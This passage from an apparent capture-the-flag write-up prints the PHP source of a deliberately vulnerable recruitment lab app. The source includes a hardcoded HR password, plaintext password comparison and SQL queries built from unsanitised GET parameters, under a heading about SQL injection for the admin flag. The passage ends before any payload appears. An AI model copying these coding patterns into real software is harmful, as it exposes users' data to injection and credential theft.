style="color:#56B6C2">=</span><span style="color:#98C379">"Password"</span><span style="color:#ABB2BF"> required</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">button </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"btn btn-primary w-100"</span><span style="color:#ABB2BF"> name</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"login"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Login</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">button</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">form</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#C678DD">                if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'login'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">                    $username</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'username'</span><span style="color:#ABB2BF">];</span></span><span class="line"><span style="color:#E06C75">                    $password</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'password'</span><span style="color:#ABB2BF">];</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">                    if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$username</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> "hr"</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E06C75"> $password</span><span style="color:#56B6C2"> ===</span><span style="color:#E06C75"> $HR_PASSWORD</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">                        $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'user'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'hr'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">                        $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'hr'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#56B6C2">                        header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Location: dashboard.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">                        exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">                    }</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">                    if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$username</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> 'admin'</span><span style="color:#ABB2BF">) {</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">                        $stmt</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> mysqli_prepare</span><span style="color:#ABB2BF">(</span></span><span class="line"><span style="color:#E06C75">                            $conn</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#98C379">                            "</span><span style="color:#C678DD">SELECT</span><span style="color:#C678DD"> password</span><span style="color:#C678DD"> FROM</span><span style="color:#98C379"> users </span><span style="color:#C678DD">WHERE</span><span style="color:#98C379"> username </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> ?"</span></span><span class="line"><span style="color:#ABB2BF">                        );</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                        mysqli_stmt_bind_param</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$stmt</span><span style="color:#ABB2BF">,</span><span style="color:#98C379"> "s"</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $username</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#56B6C2">                        mysqli_stmt_execute</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$stmt</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#56B6C2">                        mysqli_stmt_bind_result</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$stmt</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $dbPassword</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#56B6C2">                        mysqli_stmt_fetch</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$stmt</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#56B6C2">                        mysqli_stmt_close</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$stmt</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">                        // Plaintext comparison (intentional for lab)</span></span><span class="line"><span style="color:#C678DD">                        if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$dbPassword</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E06C75"> $password</span><span style="color:#56B6C2"> ===</span><span style="color:#E06C75"> $dbPassword</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">                            $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'user'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'admin'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">                            $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'admin'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#56B6C2">                            header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Location: dashboard.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">                            exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">                        }</span></span><span class="line"><span style="color:#ABB2BF">                    }</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                    echo</span><span style="color:#98C379"> '&#x3C;div class="alert alert-danger mt-2">Invalid credentials&#x3C;/div>'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">                }</span></span><span class="line"><span style="color:#C678DD">                ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">include</span><span style="color:#98C379"> 'footer.php'</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><p>We can't read <code>/var/www/db.php</code> because it's outside <code>/var/www/html</code> whitelisted root path.</p><div class='fold collapsed'>    <div class='fold-title'>        config.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| Application Configuration</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$APP_NAME</span><span style="color:#56B6C2">        =</span><span style="color:#98C379"> 'Recruit'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$APP_ENV</span><span style="color:#56B6C2">         =</span><span style="color:#98C379"> 'production'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$APP_VERSION</span><span style="color:#56B6C2">     =</span><span style="color:#98C379"> '1.2.4'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$APP_DEBUG</span><span style="color:#56B6C2">       =</span><span style="color:#D19A66"> false</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| HR Credentials (Temporary – Initial Rollout Phase)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| NOTE:</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| These credentials are stored here temporarily for ease of access</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| during the initial deployment and will be moved to the database</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| in a future release.</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$HR_PASSWORD</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'EDITED'</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| API Configuration</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$API_ENABLED</span><span style="color:#56B6C2">     =</span><span style="color:#D19A66"> true</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$API_VERSION</span><span style="color:#56B6C2">     =</span><span style="color:#98C379"> 'v1'</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><h2 id="User-flag">User flag<a class="header-anchor" href="#User-flag">#</a></h2><p>Logging in with <code>hr</code> and <code>$HR_PASSWORD</code> allows to fetch the user flag.</p><h2 id="Admin-flag-SQL-injection">Admin flag - SQL injection<a class="header-anchor" href="#Admin-flag-SQL-injection">#</a></h2><p>Now we can read <code>dashboard.php</code> to try to elevate our privilegies.</p><div class='fold collapsed'>    <div class='fold-title'>        dashboard.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#56B6C2">error_reporting</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">E_ALL</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#98C379"> 'config.php'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#98C379"> '/var/www/db.php'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#98C379"> 'header.php'</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'user'</span><span style="color:#ABB2BF">]) </span><span style="color:#56B6C2">||</span><span style="color:#56B6C2"> !isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#56B6C2">    header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Location: index.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#E06C75">$flagContent</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'hr'</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">    $flagPath</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '/user.txt'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">} </span><span style="color:#C678DD">elseif</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'admin'</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">    $flagPath</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '/admin.txt'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$flagPath</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">&#x26;&#x26;</span><span style="color:#56B6C2"> file_exists</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$flagPath</span><span style="color:#ABB2BF">)) {</span></span><span class="line"><span style="color:#E06C75">    $flagContent</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> file_get_contents</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$flagPath</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'admin'</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#56B6C2"> isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'action'</span><span style="color:#ABB2BF">],</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'id'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#E06C75">    $id</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'id'</span><span style="color:#ABB2BF">];</span></span><span class="line"><span style="color:#E06C75">    $action</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'action'</span><span style="color:#ABB2BF">];</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$action</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> 'approve'</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">        $status</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'Approved'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    } </span><span style="color:#C678DD">elseif</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$action</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> 'reject'</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">        $status</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'Rejected'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$status</span><span style="color:#ABB2BF">)) {</span></span><span class="line"><span style="color:#E06C75">        $updateQuery</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "</span><span style="color:#C678DD">UPDATE</span><span style="color:#98C379"> candidates </span><span style="color:#C678DD">SET</span><span style="color:#C678DD"> status</span><span style="color:#56B6C2">=</span><span style="color:#98C379">'</span><span style="color:#E06C75">$status</span><span style="color:#98C379">' </span><span style="color:#C678DD">WHERE</span><span style="color:#98C379"> id</span><span style="color:#56B6C2">=</span><span style="color:#E06C75">$id</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#56B6C2">        mysqli_query</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$conn</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $updateQuery</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#E06C75">$search</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'search'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#E06C75">    $search</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'search'</span><span style="color:#ABB2BF">]; </span></span><span class="line"><span style="color:#E06C75">    $query</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "</span><span style="color:#C678DD">SELECT</span><span style="color:#ABB2BF"> *</span><span style="color:#C678DD"> FROM</span><span style="color:#98C379"> candidates </span><span style="color:#C678DD">WHERE</span><span style="color:#C678DD"> name</span><span style="color:#C678DD"> LIKE</span><span style="color:#98C379"> '%</span><span style="color:#E06C75">$search</span><span style="color:#98C379">%'"</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">} </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">    $query</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "</span><span style="color:#C678DD">SELECT</span><span style="color:#ABB2BF"> *</span><span style="color:#C678DD"> FROM</span><span style="color:#98C379"> candidates"</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$result</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> mysqli_query</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$conn</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $query</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!</span><span style="color:#E06C75">$result</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">    $sqlError</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> mysqli_error</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$conn</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">h3</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Candidate Applications</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">h3</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!empty</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$flagContent</span><span style="color:#ABB2BF">))</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card border-success mb-4"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-header bg-success text-white"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> strtoupper</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">]); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> Flag</span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">pre </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"mb-0"</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> htmlspecialchars</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$flagContent</span><span style="color:#ABB2BF">); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;!</span><span style="color:#ABB2BF">-- Search Form --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">form method</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"GET"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"mb-3 d-flex gap-2"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">input type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"text"</span><span style="color:#ABB2BF"> name</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"search"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"form-control"</span></span><span class="line"><span style="color:#ABB2BF">           placeholder</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"Search candidate name"</span></span><span class="line"><span style="color:#ABB2BF">           value</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"&#x3C;?= htmlspecialchars(</span><span style="color:#E06C75">$search</span><span style="color:#98C379">); ?>"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">button </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"btn btn-primary"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Search</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">button</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">form</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!empty</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$sqlError</span><span style="color:#ABB2BF">))</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"alert alert-danger mt-2"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">strong</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">SQL Error</span><span style="color:#C678DD">:</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">strong</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#D19A66">br</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> htmlspecialchars</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$sqlError</span><span style="color:#ABB2BF">); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;!</span><span style="color:#ABB2BF">-- Candidates Table --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">table </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"table table-bordered table-striped"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">thead </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"table-dark"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">tr</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">ID</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Name</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Position</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Status</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'admin'</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Action</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">th</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span 